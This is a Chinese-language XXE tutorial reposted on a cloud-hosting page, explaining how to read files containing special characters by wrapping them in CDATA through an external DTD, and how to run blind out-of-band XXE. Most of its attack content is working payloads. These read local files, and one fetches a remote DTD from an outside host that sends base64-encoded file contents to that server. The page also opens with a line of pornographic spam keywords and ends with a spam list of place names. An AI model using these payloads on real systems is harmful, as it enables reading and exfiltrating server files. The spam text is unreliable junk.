91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解XXE漏洞

發布時間:2021-11-23 18:00:35 來源:億速云 閱讀:163 作者:柒染 欄目:網絡管理

這篇文章給大家介紹如何理解XXE漏洞,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

讀取文件時有特殊符號

在讀取文件時,文件中包含"<,>,&"等這些特殊符號時,會被xml解析器解析,報錯從而導致讀取失敗,例如嘗試讀取以下文件

C:\test.txt

內容:

<Baize Sec>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [<!ENTITY xxe SYSTEM "file:///c:/test.txt">]>
<creds>&ampxxe;</creds>

如何理解XXE漏洞

可以看到與讀system.ini不同,這里報錯了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符數據(Parsed Character Data)。

XML 解析器通常會解析 XML 文檔中所有的文本。

當某個 XML 元素被解析時,其標簽之間的文本也會被解析:

<message>此文本也會被解析</message>

解析器之所以這么做是因為 XML 元素可包含其他元素,就像這個例子中,其中的 <name>元素包含著另外的兩個元素(first 和 last):

<name><first>Bill</first><last>Gates</last></name>

而解析器會把它分解為像這樣的子元素:

<name>
<first>Bill</first>
<last>Gates</last>
</name>

CDATA

術語 CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 會產生錯誤,因為解析器會把該字符解釋為新元素的開始。

"&" 也會產生錯誤,因為解析器會把該字符解釋為字符實體的開始。

某些文本,比如 JavaScript 代碼,包含大量 "<" 或 "&" 字符。為了避免錯誤,可以將腳本代碼定義為 CDATA。

CDATA 部分中的所有內容都會被解析器忽略。

CDATA 部分由 "<![CDATA[" 開始,由 "]]>" 結束:

<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>

在上面的例子中,解析器會忽略 CDATA 部分中的所有內容。

關于 CDATA 部分的注釋:

CDATA 部分不能包含字符串 "]]>"。也不允許嵌套的 CDATA 部分。

標記 CDATA 部分結尾的 "]]>" 不能包含空格或折行。

我們的思路就是把讀取的文件放在CDATA中之后再調用,那么構造一個POC如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag
[<!ENTITY start
"<![CDATA[<!ENTITY % xxe SYSTEM "file:///c:/test.txt"> ]]>"
>]
% xxe;>
<roottag>&start</roottag>

但是還是讀不出來,如下圖:

如何理解XXE漏洞直接放正確的payload,然后再講解原因

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % go SYSTEM "file:///c:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://aaaaahui.com/evil.dtd"> %dtd;
]> 
<root>&ampall;</root>

http://aaaaahui.com/evil.dtd

<!ENTITY all "%start;%go;%end;">

如何理解XXE漏洞可以看到這個payload是可以成功讀取文件的,對比兩個payload

如何理解XXE漏洞

如何理解XXE漏洞

兩個payload的邏輯都是一樣的,不過第二個是調用的外部的dtd文檔就可以,這是因為在xml中,xml 解析器有個限制:不能在內部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止內部參數實體引用。

無回顯xxe漏洞利用

現在很多xxe漏洞都是沒有回顯的,下面是再沒有回顯的時候可以的利用方式。

思路就是在沒有回顯的時候,我們將讀取的文件帶出來,舉一個例子就是,我們如果將/etc/passwd文件賦給實體test,那么我們在訪問http://www.aaaaahui.com/?%test時,我們服務器上的日志文件就會保存/etc/passwd的文件內容,下面進行實驗:

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://aaaaahui.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

<!ENTITY % start "<!ENTITY &amp#x25; send SYSTEM 'http://aaaaahui.com/?%file;'>">%start

&#x25是%的html實體編碼,因為在xml.dtd的實體中不能有%

實驗如下圖

如何理解XXE漏洞

查看日志文件

如何理解XXE漏洞

這里我們讀取的文件已經帶出來了,那么原理就是將文件賦給實體后帶著訪問我們的vps然后在日志文件中就能看到我們讀取的文件了。

關于如何理解XXE漏洞就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xxe
AI

棋牌| 蒲城县| 奉化市| 江安县| 区。| 大理市| 博乐市| 察隅县| 辰溪县| 唐河县| 安徽省| 清苑县| 普定县| 团风县| 轮台县| 梁山县| 措勤县| 邹城市| 万年县| 佛坪县| 福海县| 闻喜县| 扬中市| 当阳市| 博爱县| 汉寿县| 上蔡县| 新泰市| 临汾市| 夏河县| 开阳县| 临清市| 凤台县| 临夏市| 北碚区| 错那县| 郁南县| 富阳市| 宁蒗| 治县。| 洞头县|